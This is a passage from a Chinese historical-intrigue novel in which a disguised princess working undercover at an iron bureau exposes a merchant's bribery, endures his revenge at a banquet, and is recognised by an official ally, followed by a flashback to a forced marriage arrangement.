因她整日往来其间，阶下的程子衣府兵只当她有事要禀，并未拦阻。
因而，当荣龄叩开北屋正门时，里头的六人并无防备。方家家主刚说道：“文氏海运一绝，若从海上运来身毒国的镔铁矿石，怕能便（bian）宜不少。”
见荣龄擅自闯入，独孤氏面色骤变。
一息后，她重重拍下书案，既惊且怒道：“惊蛰，怎么回事？！”
荣龄却合上背后的门。
她顶着六人含意迥然却都绝不友好的目光，猛地跪在独孤氏跟前。
“独孤大人，救命！”荣龄磕一个响头，直起身时已是双目含泪。
8. 回护
独孤氏垂眸，打量她的眼神冷而阴沉。
过一会，她才问：“为何救你？”
荣龄迎着她的目光，不敢躲闪半分。
听见这句问话后，她空悬的心落下一分——独孤氏到底心软，没不由分说地将她绑了沉河。
她取出扎伊尔给的金豆子，抽泣道：“方才，扎伊尔老爷塞了我一袋金豆子。我一时傻了，怕在推阻之间叫人看见，反以为我与他有私。”
“我本想在投筹会结束再还他。可谁知，谁知…”许是哭的，又许是吓的，荣龄打着哭嗝，呼吸急促，“他逼我说其余老爷们的底价，可我哪敢？我只想在镔铁局长久地做下去…”
“我想来想去，只能求大人救命！”说罢，荣龄又磕一个响头。
这时，面目黝黑的北直隶巡按御史冯宝轻“哼”一声。
“本官早看出来，论钻营，任谁都比不上这群胡商。待做正事，便推三阻四，这也不行，那也不是。”
冯宝的话说得不客气，半分不顾独孤氏也是胡人。
她却端肃垂聆，面上无一丝不满。
荣龄心中转过一道——果然，冯宝知晓王序川的身份。
她敢贸然闯入北屋，一则相信自个做戏的功夫，月余的唱念做打，惊蛰“怯懦怕事、笨拙老实”的形象已深入人心，她今日的言行虽不合规矩，却与一贯的为人相符，独孤氏不至于疑她身份；二则她虽不曾联络冯宝，可她的一通言辞能帮上王序川，为他排除最有竞争力的对手，冯宝定会出言相助。
冯宝手中的筹不是最多，可他在六人中官职最高，他的排斥自比荣龄的一通哭诉有效。
方家与罗家家主率先附和，“冯御史所言甚是。”
保州府知府赵瑄则无可无不可，他颔首道：“独孤大人，便由你归还这份贿资吧。”
独孤氏应下。
只保州商会的徐会长欲言又止。可他仔细看过众人的神情后，最终选择闭嘴。
此间落幕，荣龄收拾好自个，取回商人们锁在杉木箱中的第二次报价。
因不知方才的一番汹涌，扎伊尔看着荣龄，只等她暗示前头几人的价格。
□□龄垂下眼，半分不看他，反道：“老爷请快写，大人们都等着。”
闻言，扎伊尔立时涨红脸，他的两眼如吐信的毒蛇，死死盯着荣龄。
二人状如对峙，引起其余人的侧目。随着议论声愈大，扎伊尔撑不住，终于狠狠运笔胡乱写个数，丢入杉木箱中。
荣龄行一礼，退了出去。
可扎伊尔不知，荣龄也不知，王序川更不知，今日的好戏才演了一个开场。
又过半个时辰，莫闪居前院张榜，红色的锦面写了中筹的三家镔铁商：祝海月、泉州文氏，以及王序川。
乍一见榜，不论众商人，还是镔铁局中的看客俱是哗然。
有人道：“不愧是赵氏，祝海月啥事没干，稳稳拿下六成的单子。”
有人道：“文氏？他们常年吃海饭，竟还做镔铁生意？”
可与议论王序川的相比，以上言论纯属涓流入海，一瞬就淹没无影。
“二桃杀三士”凭空多出“一桃”，成了“三桃”。而那多出的“一桃”由王序川收入囊中——他中筹的单子约一成，专为镔铁局供应杂矿。
即便荣龄只待了月余，她也看出多出的“一桃”有多不合理。
镔铁刀的冶炼以镔铁矿石为主，为调匀韧性与硬度，常杂以生熟铁、铜、锡、金等。但因需要的杂矿数量不多，以往多由中筹的镔铁商随单赠送。
可今日，镔铁局专为王序川开出一单杂矿，到底是王员外的风姿过于蛊人，还是独孤氏为相好昏了头，不顾半点脸面？
祝海月转了转夹杂几缕鸽血红沁的白玉扳指，“王老弟，没想到啊…”他一停，再笑道，“恭喜了。”
倒是文氏，十分和善地与王序川颔首，简短道：“恭喜。”
除开同为获利者、态度较为平和的二人，其余人俱言辞激烈、不堪入耳。
“也是没想到，自古只听过女子出来卖的，如今的男儿汉也能凭借一张脸，卖出此等高价？”
“姓王的看着文弱，他到底修了什么秘术，竟能伺候得老寡妇忘了北？”
“别说，我也想知道！别看我现在老了，十年前也是叫十里八乡的小娘子们惦记的俊后生！可惜了！”
一句句毫不掩饰的诋毁砸在王序川脸上，也砸在镔铁局众人的脸上。
匠人们本有附和，不疼不痒地说两句“大人待王员外真好！”“不怪大人，换作我，我也要昏头的。王老爷这样俊，我恨不能把他藏到金屋子里，再不让人看见！”。
可商人们愈加放肆，说的话不干不净，匠人们收起笑，眼神冷下来。
身为商人，却敢妄议官居六品的独孤氏，他们倚仗的是独孤氏特殊的身份——
独孤氏是女子，还是胡人女子，更是死了丈夫、却不守节的胡人女子。
他们的凝视并不来自商人对官员，而是男子对于女子。
可他们不知，这凝视不只针对独孤氏，也投射在镔铁局众人身上。
很快，莫闪居的前院静下来。申时末，北地天色已昏，老鸹的苦号杂在商人们的哄笑中，凄厉又不详。
有人觉出不对，拉了拉出言最为放肆的扎伊尔。
“呸！哪来的秃驴满嘴喷粪！”春芳作为“独孤氏第一吹”，率先发难。扎伊尔身着孔雀翎袍子，颈上戴三叠红珊瑚珠，可再名贵的装饰也掩不住他稀疏的头顶。
春芳蛇打七寸，正说中他的痛处。
“臭娘们，竟敢骂我！”扎伊尔袖子一捋，怒极攻心地要来打春芳。
正是一片混乱中，一只遒劲的手挡住扎伊尔抡圆的胳膊。那人劲道深，都没见他用力，扎伊尔已痛呼出声。
是冶火局管事巴图林，他的身后站着此番争论的中心，独孤氏。
“今夜宴未开，酒也未满，扎伊尔已昏头了吗？”独孤氏一面看着他，平静问道，一面伸出手，把春芳拨到身后。
有了上官的回护，春芳更胆大。只见她双手叉腰，一副誓与扎伊尔对骂到底的架势。
扎伊尔瞥了一眼面色发冷的冯宝与赵瑄，他恨恨地咬牙，不敢再吭声。
冯宝与赵瑄并不在意独孤氏。但她的身份再卑微，那也是大梁的官员，绝非来自蕞尔小国的扎伊尔可置喙。
八面玲珑的金水局管事贺方打破院中冷凝的气氛。
“诸位大人、老爷，咱们已叫来惠安楼的席面，天寒地冻的，饮几杯烫得正好的刘伶醉岂不美？”他躬身一拜，满面的笑。
商人们忙捡了台阶，恭敬地应和。
一番混乱中，荣龄定定看向前头的一人。
那人不高不低、不胖不瘦，面容也是不美不丑，最叫人记不住的一种。
可偏是他，在群狼环伺的投筹会拿下三成的订单，又是他，因倒霉的王序川做了靶子，得以在闹剧中隐去身影，躲开漫天的质疑与讨伐。
这是巧合，还是早有预谋？
几息后，荣龄撞上落在文氏身上的另一道目光。是王序川。
二人视线交汇，一样的冷幽、若有所思。
“别愣着，惊蛰！”秀儿唤她，“你得伺候茶酒，快跟上。”
荣龄掩好心神，跟着秀儿快步走向布席的厢房。
席开四桌，一桌在莫闪居的北屋，三桌在南屋。
祝海月、文氏、王序川作为代表，前往正房敬酒。
剩余的商人又陪跑一年，正苦闷得紧，他们也不等三人归来，就嚷嚷着要酒。
荣龄守着风炉烫酒，忙得一脑袋的汗。忙乱中，她也没注意扎伊尔的离席。
觥筹交错间，酒已过三巡。房中酒液蒸腾，气氛正好。
却在
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这时，南屋门被猛地推开。
一瞬间，北风混杂夜雪，打着旋涌入。冷风一吹，酒酣耳热的众人猛打哆嗦。
有人站在门口，一身蓝绿的锦袍如落败的孔雀垂下尾羽，不甘却仍耀目、嚣张。
荣龄正为万州商会的罗会长添酒，站得靠里。
等她认出门口的究竟是谁时，扎伊尔已带一身的寒气、怒气，快步走向荣龄。
他看着眼前面色枯黄、气质瑟缩的女子，心中愤恨至极。
自独孤氏归还他“不慎遗失”的一袋金豆子，保州商会徐会长话中有话的“你托谁不好，竟瞧上个胆小如鼠的寡妇”中，扎伊尔终于明白自己败在何处。
竟是她？一个他不曾放在眼里，如蝼蚁般弱小的女子？
扎伊尔不甘心！
荣龄看他气息咻咻，喘如疯牛，便猜到他已知晓自己的作为。
她一面盯着扎伊尔的举动，一面暗自戒备。
万州商会的罗会长已喝得半醉，叫风一吹，他的脑袋又疼又晕。
“扎伊尔，你又发什么疯？”他不满地嚷道，“再要得罪几位大人，你以为你能平安回西喀拉汗王国？”
这话提醒了盛怒之下的扎伊尔。
一瞬后，扎伊尔一扬手，沉甸甸的锦袋猛地撞上荣龄的脑门。她痛呼一声，再捂着脑门看地上——是扎伊尔贿赂她，又叫独孤氏还回的那袋金豆子。
“我倒不知何时丢了这锦袋，多亏惊蛰娘子替我寻回。汗王苗裔最讲信义，你既于我有恩，我要重重谢你。”扎伊尔取过两名蒙商斗酒的大碗，倒满一海刘伶醉，他冷冷道，“惊蛰娘子，请吧。”
荣龄在心中一叹，这哪是报恩，分明是寻仇！
可她此时的身份低微，扎伊尔又胡说得有理有据，哪有人为她挡酒？
果然，席间只剩起哄。“小娘子快与扎伊尔喝一个！你若哄他高兴了，他怕是要送你整袋的金豆子。”
更有几只老狐狸看出其间龃龉，可他们无利不起早，更不会为一个微不足道的女子得罪财力雄厚的扎伊尔。
荣龄暗自盘算，以她的酒量，喝个十碗八碗倒是无事。若再多，也要吃力。她倒不怕醉后的丑态，可她如今妆有伪饰，若有人趁机认出她的身份，那才不妙。
她在心中转过百道，最终端起酒碗。
她扬起脖颈，一面状似艰难地吞下酒液，一面趁机洒出小半碗。
待碗空，扎伊尔又提壶满上。“喝！”他再冷冷道。
如是几番，喝得再多的酒蒙子也觉出不对。
南屋笙酒暂歇，落针可闻。
再喝过几碗，荣龄装作不胜酒力，失手打碎了碗。翠色的瓷片四散，有几片崩到刚迈入南屋的三人脚下。
荣龄扶着墙，快站不住。“扎伊尔老爷，不能喝了，”她求道，“求求你放过我，我不敢了。”
扎伊尔却轻蔑一笑，他怎会败在此等卑贱的妇人手上？看啊，她现在也在求自己！扎伊尔才没有失败！
他往前一步，掐住荣龄的下颌，往她嘴里灌酒，“我可听说，宋时的武松过岗，连喝了十八海碗过岗酒。惊蛰娘子若肯效仿他，我就放过你。”
酒液漫灌，荣龄极力挣扎。
也不知怎的，扎伊尔突觉手筋一木，他回神之际，荣龄已挣脱钳制，喘着气跌坐在地。
尽管不明缘由，扎伊尔却将之一股脑地归为来自荣龄的反抗与挑衅。
他的怒火烧得更盛，转头把旁人满盏的酒泼到荣龄面上。
“给脸不要脸！”他咒骂道，又扬起手，欲将空碗摔在荣龄身上。
就在这时，一袭碧色锦袍闪过。
下一瞬，空碗摔在王序川的身上，发出沉重的闷响。
荣龄抬起头，在刘伶醉烧出的闷热与北地干冷的夜寒中，撞入一双满载江南水意的眼。
怔忪间，她只觉那双眼，陌生又熟悉。
9. 郡主
王序川的眼中神情几变，可此时绝非交谈的良机，因而他只抬起素白的手，似掸去面上沾到的酒液。
只是他的手，在左侧的眉梢一停。
荣龄心中警铃大作，忙用袖子掩面，一副受辱不肯见人的模样。
不等扎伊尔出言，王序川率先发难，他转身抬高音量质问：“你今日还没闹够吗？有胆量冲着我来，何必指桑骂槐，为难一个下人？”
“呸！”扎伊尔冲他一啐，唾沫星子直喷到他面上，“姓王的，你自个钻了老寡妇的被窝得了恩宠，怎么？还要替她做镔铁局的主？”
他一面说着，一面又动起手来。
荣龄被王序川挡在身后，扎伊尔斗大的拳头不停落在他身上。
可惜不论是身为镔铁商人的王序川，还是枢密院的王检祥，他当真半分功夫不会。
扎伊尔人高马大，即便是乱拳，也够他吃一壶。
荣龄在袖间看他并不宽厚的背影，心中一愣。
自南漳王去后，她以女子身掌南漳三卫，纵有父王旧部相助，可其间的难关，绝非三言两语能说尽。
八年，她再不是躲在父王身后的小女儿，而是要冲在所有人之前，护卫二十万将士的南漳郡主。
她眨了眨眼，又垂下头。
一时间，厢房中的商人们劝架的劝架，拉人的拉人。
终于，王序川高于寻常音量的质问传入北屋，引来满脸怒色的冯宝。
随他而来的还有一队程子衣府兵，他们架起扎伊尔，不叫他再动手。
“又是你！当真是蛮夷，竟在此动手！”冯宝不耐烦地一指扎伊尔，怒道，“你不必再来保州，独孤大人——”他唤道。
独孤氏上前一拜。
“往后的投筹会，莫叫他参与了。”冯宝挥手，府兵架着仍在叫骂的扎伊尔退下。
趁人不注意，冯宝看了王序川一眼，王序川几不可见地摇头，示意自己无事。
倒是独孤氏，几息间理清此间乱局，她向王序川一拜，“王员外，多谢你回护惊蛰。”又走过几步，询问荣龄道，“惊蛰，可有受伤。”
荣龄放下袖子，却也不敢抬头，“大人，我无事…”她的话音中带着后怕的哭颤，“只是大人，我今日想回婶子家，求你准允。”
独孤氏叹一声，只以为她受了委屈，想回到家人身边，没多想便允了。
荣龄离开时已月上中天。
她自角门出，拐了两道走上通往内城的直道。路过正门时，独孤氏正送别冯宝与赵瑄。
待冯宝离去，赵瑄坐上自个的轿子，却既不起轿，也无吩咐。
他不走，独孤氏自不能回。她孤零地站在四起的夜风与飞雪中，很快就被冻得发颤。
好一会，沉重的棉帘后传来赵瑄的敲打，“镔铁局的单子本就因东宫作梗，由一拆了二，你倒好，为个毛头小子又添一道。只是你丢脸事小，二殿下呢？要害他与你一样没脸吗？”说的正是独孤氏据理力争，硬要给王序川一成单子，致使引出今晚非议之事。
独孤氏恭声应下。
“罢了，二殿下不日要来，届时你自个与他说。天要下雨，寡妇要嫁人，我也管不了你咯。”
再过一会，赵瑄说了句“走吧”。四抬大轿拔地而起，稳稳地往内城而去。
荣龄躲在石狮之后，看独孤氏仰头望月。
不论何时，月光总是凉的，它笼在独孤氏的面上、身上，为她镀上一层孤寂又哀伤的影。
那一刻，荣龄第一次清晰地感知到，独孤氏不快乐。
待回到位于上阳坊的小院，荣龄终于卸下一口气。
万文秀匆匆迎她，“郡主，可是出事了？”荣龄日常宿在镔铁局，若无急事，她不会冒险回来。
迎入房中后，万文秀更吃惊地发现，荣龄面上的伪饰卸了大半，眉梢的胭脂痣露在昏黄的灯下，红得耀目。
“伪饰遇酒方溶…”加之荣龄的衣上有酒渍…万文秀一拍桌几，怒道，“是谁冲郡主泼酒？我去砍了他一双手！”
万文秀人如其名，虽常年陪伴荣龄在军营，却一贯静柔如闺秀。
她极少气成这样。
这一日大起大落，荣龄也觉得累了，她简单说过几句，便耍赖道：“不想说了，文秀，我要沐浴，替我备一桶热水。”
万文秀不放过她，仍道：“郡主还是要当心些。五莲峰的事，当真不是郡主的过错…”
荣龄不叫她说完，再次嚷嚷，“文秀，要洗澡！”
万文秀没法子，只好瞪她一眼，去伙房备水。
荣龄明白万文秀的不解。
若只为五莲峰之战，她大可去信大都，逼着兵部给个说法。可这事背后隐着幽灵一般的花间司，又牵扯到八年前南漳王的战死…
事涉父王，她不敢轻信任何人，因而哪怕危机四伏，她也亲自来了保州。
万文秀不如她的兄长老辣，荣龄没让她知晓花间司一事。
待整个人没入浴桶，荣龄舒服地长叹。
她仰起头，任万文秀卸下残余的伪饰。
“有日子没见日光，郡主又白净了。”万文秀收起沾了酒液的棉布，打趣道。
荣龄戳了戳颊边的小靥，“我也没法子，”她苦恼一叹，“一捂就白。可烦了！”
她的肤色承自曾经的南漳王妃、如今的披香殿娘娘，是玉一般的润白。即便日晒雨淋一时黑了，捂上几日又是白璧无瑕。
荣龄常为此苦恼，一则她不欲留下与披香殿有关的任何印记，二则过白的肤色总不威严，她是将领，而非日日看花赏茶的贵女。
“郡主当真…”万文秀故意抹了荣龄一脸的香膏，“身在福中不知福！”
荣龄叫香膏糊得睁不开眼，“文秀，我不要香膏，”她抬起两手想要抹脸，却被万文秀一把摁住。
“伪饰伤皮肤，郡主难得回来，还不借机养养？”万文秀捏着她两支胳膊，直到半柱香后才放过她。
就在荣龄迫不及待地洗去脸上的香膏时，院外有人叩门。
二人停下嬉闹。
荣龄颔首，万文秀这才去了院中。
过一会，她回来禀道：“郡主，是王序川。”
荣龄转身，她早已换好衣裳，面上、手上也已重新涂上伪饰。
王序川夤夜前来，她不意外。今日几番起落，他二人亟需坐下好好商议。
荣龄拿过入浴时取出的玉把件。收回怀中前，她莫名想起王序川曾说的“这把件本就由我选出，再着人送往南漳”。
她垂头看了眼。
“郡主？”万文秀不明所以，开口问道。
荣龄摇了摇头，没说话。她簮起半干的发，走出门去。
万文秀赁的院子不大，净房与卧房联袂，设在西厢。待客之处在坐北朝南的正屋，对门处设两把太师椅，西侧以一架绣《西厢记》图样的屏风相隔，里头置一方罗汉塌，摆两个半人高的梅瓶。
然而，荣龄入门时，王序川没有坐在任何地方。
他背门而立，碧色的锦袍落有推搡造成的褶皱，可这不损他的风骨，反而让他更像霜雪下不屈的松柏。
没等荣龄唤他，他已听见门页开合的声音，转过身来。
荣龄与他相视一眼，无端觉得他面上冷清，眼中却发烫。
她一愣，心中五分不解，五分戒备。
终于，王序川开口道：“夜深风寒，郡主要当心自个。”他看见荣龄的湿发，不自觉往前。
语落，房中一静。
“王大人唤我什么？”交睫一瞬，荣龄问道。
她的语气无一丝微澜，可相熟之人却知道，她的气息略沉，双指在袖中扣起——已然做好骤起发难的准备。
王序川却恍若未觉。
他直直看着荣龄，眼中的情绪满而汹涌。这让他一时间没有半分冷静自持、偶尔毒舌噎人的模样。
许久，他的面上露出笑，“下官不知，郡主竟亲自来了保州。”
语落，案上烛光一闪。
红烛的火苗再次回正时，荣龄已站在王序川的身后。
她的右手紧握匕首，满袖寒意抵住王序川的喉。她的左手扣住脊骨，只需轻轻用力，便能叫这一竿满是风骨的竹当中折断。
“哦？王大人何时认出我的？”她问道。
面对荣龄猝然改变的态度与毫不掩饰的威胁，王序川无半分反抗。
他甚至摊平了双手，以示自己的无害。
“郡主，下官不会告知任何人。”他道。
荣龄却不领情。
“王大人还没回答我的问题。”她手中的匕首一紧，叫王序川的颈上立时添一道血痕。
王序川轻叹。
“郡主，”他没因荣龄的举动生出毫末怒意，松弛的筋骨与话语中甚至有隐约的纵容，“三年前
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，下官有幸在大都见过郡主，记得郡主眉上的胭脂痣。”
他郑重道：“郡主，你可以信任我。”
三年前的冬日，荣龄的确回过大都。
不过当时，披香殿借一偿南漳王遗愿的名义，逼迫回京受赏的荣龄成婚。她恼得很，许多旁的事便不曾挂心。
王序川说见过她，她却毫无印象，这倒也说得通。
荣龄权衡几道。
自然，她不会只因王序川的几句话就轻易信他，让她决定暂时搁置疑心的，还是太子早前的来信。
她与东宫同坐一条船，缺兵少将的荣宗柟绝无当下翻脸的必要。
荣龄手中一松，收起兵刃，“王大人，得罪了。”
待二人分主次坐下，荣龄说起她冒险入北屋的见闻。
“我本以为王大人在惠安楼宴请方家家主，已算与他约定。没料到他骑在墙头，又替泉州的文氏张目。”荣龄道。
她瞥过一眼——血痕亘在王序川白净的颈上，看着刺目。
荣龄目光一停，又望向别处。
“哦？竟是方家？”王序川垂眸思考，交睫间，他想清其中关要，“文氏一鸣惊人拿下三成单子，可方家手中仅一筹…方家，怕也只是浮于面上的掩蔽。”
荣龄颔首，“赵瑄的两筹自给了祝海月。冯宝则将两筹都给了你。至于罗家，自是投的万州商会。保州商会的徐会长受扎伊尔的托…”她分析完四人投筹的可能性，再一顿。
“是以，”王序川续上，“除了方家的一筹，独孤氏定有两筹给了文氏，两筹给了祝海月。否则，文氏无法胜过我、万州商会与扎伊尔的筹数。”
突然，荣龄“噗嗤”一笑，“王大人，独孤氏与所有人为敌为你争来的恩宠，竟也是替他人做的嫁衣裳，”她打趣道，“你有何感想？”
独孤氏铺陈许久，叫王序川男色蛊人的祸名传遍保州。她今日又大闹一场，让隐在身后的泉州文氏安稳吞下三成订单。
这泉州文氏究竟是谁的人？
是长春道？还是花间司？
“郡主快别笑我了，”荣龄笑得深，颊边陷下两粒小涡，这让她回复几分不曾上妆的模样。王序川看她片刻，无奈道，“独孤娘子的盛情，当真…”
突然，他戛然而停。
“不对…”王序川思索片刻，推翻了此前东宫一脉的怀疑——镔铁局由赵氏辖管，锦州军之案必经赵氏谋划。
他眸中一亮，“独孤氏为泉州文氏苦心孤诣，这是否意味着她除了大都，还听命于另一重势力。文氏、郡主几日前撞见的长春道人，他们有何关系？锦州军与五莲峰两案，究竟出自谁之手？”
荣龄抬眸，眼神中多出几分她自己都不曾察觉的欣赏。
王序川并不知花间司的存在，因而此前的他只以为一切都由赵氏谋划。
可如今，只凭一个隐约冒头的文氏，他串起微末，敏锐察觉出伸入镔铁局的第二只手。
王序川，当真只是小小的枢密院检祥官？
荣龄摇了摇头，只作不知。
“再过几日，荣宗阙南下保州，”荣龄道，“或许，我们能从他身上找到答案。”
“倒是热闹了。”王序川颔首。
又过一会，王序川起身告辞。
他绕过隔屏，走到黑漆新刷的正房门口。
然而，他的手搭上门页，却久未拉开。
“郡主。”
“王大人。”
二人几乎同时开口。
静了一瞬，王序川转过身。
隔着绣有《西厢记》话本故事的三叠屏，荣龄只看见他朦胧的影。
“郡主可有吩咐？”荣龄听他问道。
“王大人，”她指了指自己的颈子，“方才对不住，你记得上药。还有，今日多谢你。”
他颔首。
荣龄再等几息，王序川仍没有开口。
她主动问道：“王大人呢？可还有事？”
隔屏后却传来轻且温柔，更带一分无奈的叹息，“无事了，郡主早些歇息。”他道。
随后，他推开门，青竹一般的身影没入黑夜白雪中。
门页重又阖上，荣龄没有动。她的目光穿过隔屏，透过花窗，直去到杏花一般缤纷的雪中，直等到院中重归寂静。
许是因这一眼，她今夜做了一场梦，一场有关三年前的冬日，散发着兰花馨香的梦。
10. 婚事
三年前，荣龄攻下前元十城。至此，前元强占之地已收回过半。
建文帝大喜，一旨召她回大都受赏。荣龄留下孟恩镇守，与莫桑、万文林飞驰回京。
建文帝封了一堆赏，又明示她“你母妃很挂念你”。
荣龄却假作听不懂，待朝会散去，便一溜烟没了影。
她在太和门处叫荣宗柟喊住，“跑得这么快！有鬼撵你吗？”荣宗柟瞪一眼她。
荣龄捂住双耳，耍赖道：“听不见！听不见！阿木尔的耳朵坏了，听不见！”
荣宗柟贵为东宫，却也是他们这一辈的大兄长。一旦荣龄拿出撒娇扮痴的一套，他便没法子。
果真，他无奈作罢，“真是个冤家！”他负了双手，身子朝荣龄微倾，如小时候哄劝她一般，“去东宫饮茶，阿木尔总要赏面吧？”
可谁知，西山的泉水尚未泡出新贡大红袍的滋味，东宫的总领太监带来一出内宫的八卦。
荣龄剥了一把松子，闻言分他大半，请他细细说来，“冯领侍，你说得当真？荣…”叫荣宗柟盯了一眼，她生生改口，“二皇姐要选驸马了？”
冯领侍捧着手中的松子仁，自不敢吃用，“当真，当真。”见荣宗柟不出言阻止，他摆开架势，“却说驸马簿上有三人，一者为蔺太傅的长孙，人言‘小青天’的都察院佥都御史蔺丞阳。这位蔺大人出身高门，品性高洁，只一个短处…”
冯领侍停下，吊起二人好奇。
荣龄猜测：“他不喜女子，在外头有相公？”
一言出，冯领侍叫口水呛住，咳了半晌。
荣宗柟扔过几粒松子，砸在荣龄额上、面上、手上。“南漳三卫没人管你，竟什么话都学？孤要仔细紧紧你的性子。”他又指冯领侍，“莫叫她瞎猜了，你快说。”
冯领侍再不敢卖弄。“蔺大人出身高、品性高，可身量却…不大高。”
荣龄了然。
二公主荣沁乃贵妃赵氏之女、二殿下荣宗阙的胞妹。因母族得力、她自个又美貌过人，荣沁向来眼高于顶，最是骄纵——
衣裳最为繁复，头饰个顶个的华贵，便是宫中的侍者，她也要择面容顶好的。总之，二公主除了行二，万事都要最掐尖的。
这样的荣沁，可会甘心嫁给姿容并不出众的蔺丞阳？
“其二为赵帅副将的公子，年纪轻轻，却有不小战功，假以时日许是一方主将。但…”冯领侍一手指向西北，“小将军丹心赤忱，怕是不肯回大都哩。”
荣龄替冯领侍补上他不便说的话，“可若叫二皇姐去往‘一片孤城万仞山’的凉州，那得要了她的命！”
冯领侍不可妄议贵人，因而只恭敬一笑。
“至于第三人，乃今科探花郎张廷瑜。张大人貌比潘安，簪花夸街那日直叫万人空巷。奴婢记得，礼部最后求到了京南卫，五百甲兵开道，才把探花郎从小娘子们的香扇香帕中解救出来。”
说到这，冯领侍一叹，“可张大人千好万好，家世到底单薄。”
荣宗柟端茶的手暂停，“如此说来，荣沁看上了张廷瑜，但贵妃怕是不愿？”他略一想，心中觉得可惜。
他见过张廷瑜在翰林院写的文章，要言不烦、蹙金结绣。入宫掌记时，这位张大人虽出身寒门，却难得的不卑不亢、进退有据。新科的进士中，他是头一个叫荣宗柟起了招徕之心的。
“让他尚了荣沁…”荣宗柟也一叹，难得说了句俚俗的尖酸话，“倒是俏媚眼做给瞎子看，白搭。”
“太子哥哥可认定了张大人要做驸马？”荣龄却不这样想。
她既不认识“出身高、品性高、身量却不高”的蔺丞阳，也不知“丹心赤忱，不肯回大都”的小将军，更从没见过“貌比潘安，惹得全城娘子丢了心魂”的张大人，可她与荣沁从小掐架，加之这么多年在军中的见闻，她深知，并深信赵氏跋扈重利的秉性。
“太子哥哥看吧，贵妃娘娘才不会放任二皇姐。”荣龄又剥出一把松子，一股脑全给冯领侍，“领侍的故事打听得圆满，我听得高兴，赏你的。”
可谁知，再过几个时辰，在旁人的故事中听得高兴的荣龄再高兴不起来——只因她被迫入局，做了故事的一角。
她让荣宗柟留在东宫训了半日，又叫太子妃比着身量，裁了不少时兴的衣裙。待她终于得了夫妇二人的恩准，能够出宫回王府时，一向沉稳的冯领侍罕见地慌了神色，快步而来。
“殿下，郡主，贵妃娘娘已为二公主择定驸马，是蔺太傅家的儿郎。”他气喘吁吁，艰难道。
荣龄好奇，“领侍，即便如此，值当你慌成这样？”贵妃为荣沁定下蔺丞阳，可是半分不让她意外。
冯领侍重重摇头，“非也，郡主，”他朝荣龄深拜，又担忧地看着她，“郡主，你可听好了？”
看冯领侍做张做致，这事还能与她有关不成？荣龄心中升出不详的预感。
“你说。”她咽了口唾沫。
“贵妃娘娘请陛下下旨，为二公主择定驸马时，玉妃也在一旁。旨意方从乾清宫出，玉妃娘娘忽儿提起，能叫贵妃入眼的儿郎定是好的，便是黜落的二位，也有过人之处。郡主已十八，合该定下婚事。她是妹妹，不若从黜落的二位中择一人做夫婿。也是…也是…”看着荣龄黑沉下去的面色，冯领侍吞吐起来。
一旁的荣宗柟等不了，忙催道：“你今日怎的了，非要人一催二请的？还不快说！”
“哎！”冯领侍抬袖抹额，下足了决心，咬牙道，“也是一偿南漳王爷的遗愿。”
语罢，宫中陷入死一般的沉寂。
荣龄只觉一股利刃般的寒意自心底升起，它窜游周身，又不停膨胀、繁衍，它一刀一刀割开血肉，剖心裂骨，叫人疼得喑哑不能。
见荣龄许久不开口，冯领侍深伏下身，出言唤她：“郡主，奴婢死罪。”
荣宗柟也担忧地看向荣龄，劝道：“阿木尔，你定一定。”
再过一会，荣龄终于冷冷一笑，“好！好！”她起身，真紫的曳撒滑落出锋利弧度，“她竟敢提起父王！她竟有脸拿父王说项！”
荣龄戴正短檐帽，与荣宗柟拱手说了
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句：“太子哥哥，阿木尔日后再见你。”便大步往内宫而去。
这时，荣宗柟回过神，问道：“玉妃为阿木尔择了谁？”
“择了张大人。”冯领侍道。
荣宗柟忽地一笑。
他松下心神，打趣道：“这下真成了‘俏媚眼做给瞎子看’。”说的正是张廷瑜相貌过人，□□龄却脸盲。
“正是哩！”冯领侍凑趣，“谁说不能是一桩上好的姻缘？”
却说荣龄行色匆匆，一路闯入披香殿。管事的曹姑姑早听了禀报，在外头迎她。
“郡主。”曹姑姑乃玉鸣柯自小的侍女，资历甚老。小时候荣龄出了岔子，总由她帮忙掩下，叫她省吃了玉鸣柯许多顿打。
因而即便怒意攻心，荣龄也唤她一句“姑姑”。
曹姑姑牵过她，不住地看，“郡主又清减了，战事再吃紧，也要当心自个。”
荣龄自然知道，此乃缓兵之计。她不领情，便抽出手，直往正殿而去。
她的步子快，曹姑姑一时撵不上，只得远远唤她：“郡主，娘娘身子不好，你仔细说…”
话音过耳，却不入荣龄的心，她很快到了正殿门口。
打帘的侍女想要拦阻。
荣龄本能一般地甩出掌风，欲格开二人。恰在这时，帘后传来如雪水击缶，清极也冷极的声音——“让她进来吧”，终免去一场干戈。
侍女福身，为荣龄打起帘子。
一入正殿，厚重的棉帘隔去汹涌的寒意。殿中主人惯用的白梅熏香裹满荣龄周身，让她躲不掉，挣不脱。
“你为何替我定下婚事？又为何假借父王的名义？”荣龄盯着一身月白锦袍，上绣满密白梅的玉鸣柯，质问道。
玉鸣柯歪在榻上，一手支额，一手放在白裘被中。“那你是因婚事不满，还是因我提了你父王不满？”她揉着额，似乎头疼得紧。
“自然都不满。五年前，荣龄便无父也无母，玉妃赐婚的荣恩，我受不起。你无端提起父王，也惹他不清净。”荣龄冷冷道。
曹姑姑慢一程，这会终于赶到。乍一听荣龄的悖逆之语，她的眼眶骤然变红，“郡主怎能这样说？此等诛心之语，叫娘娘如何生受？”
“我为何不能说？”荣龄音量抬高，语中狠厉更甚，“我哪一句说了错话？五年前我求你，别丢下我一人，你头也不曾回。”
“如今平白想起我，可是南漳王府中又有了你想要的东西？”
不知她本就身子不好，还是叫荣龄诘问住，玉鸣柯不住地咳，似要咳出整颗心来。
曹姑姑扑到塌前，为她捋气。
“郡主少说一句吧！”曹姑姑淌下泪来，苦苦地求荣龄。
玉鸣柯却艰难地摆手，示意她不必劝。
待终于平静下来，她略坐直身子，低哑道：“一则我不曾相欺，你父王并不想叫你承继南漳三卫，只望你喜乐平顺，安稳一生。为你定下婚事，确是他所愿。二则世事难料，你既已入南漳三卫，总不能只论今日不图明朝。你可还记得木华赤？”她突然问道。
11. 张廷瑜
木华赤？与南漳王荣信、凉州军主帅赵文越并称“大梁开国三大功臣”的木华赤？玉鸣柯为何提起他？
“木华赤曾为怯薛大将，却因娶了赵氏之女，叫人慢慢分了军权。如今的军中，可还有木华赤的威名？”玉鸣柯冷冷问她。
一室暖意中，荣龄的额上渗出冷汗。
她明白，玉鸣柯在示警——她的婚事关乎南漳三卫的军权归属，绝不是单纯的儿女故事。木华赤因婚事而军权旁落，那她呢？当真不会有人效仿，用同样的招数对付她？
虎视眈眈南漳三卫的，可不止赵氏，还有…当今圣上，建文帝。
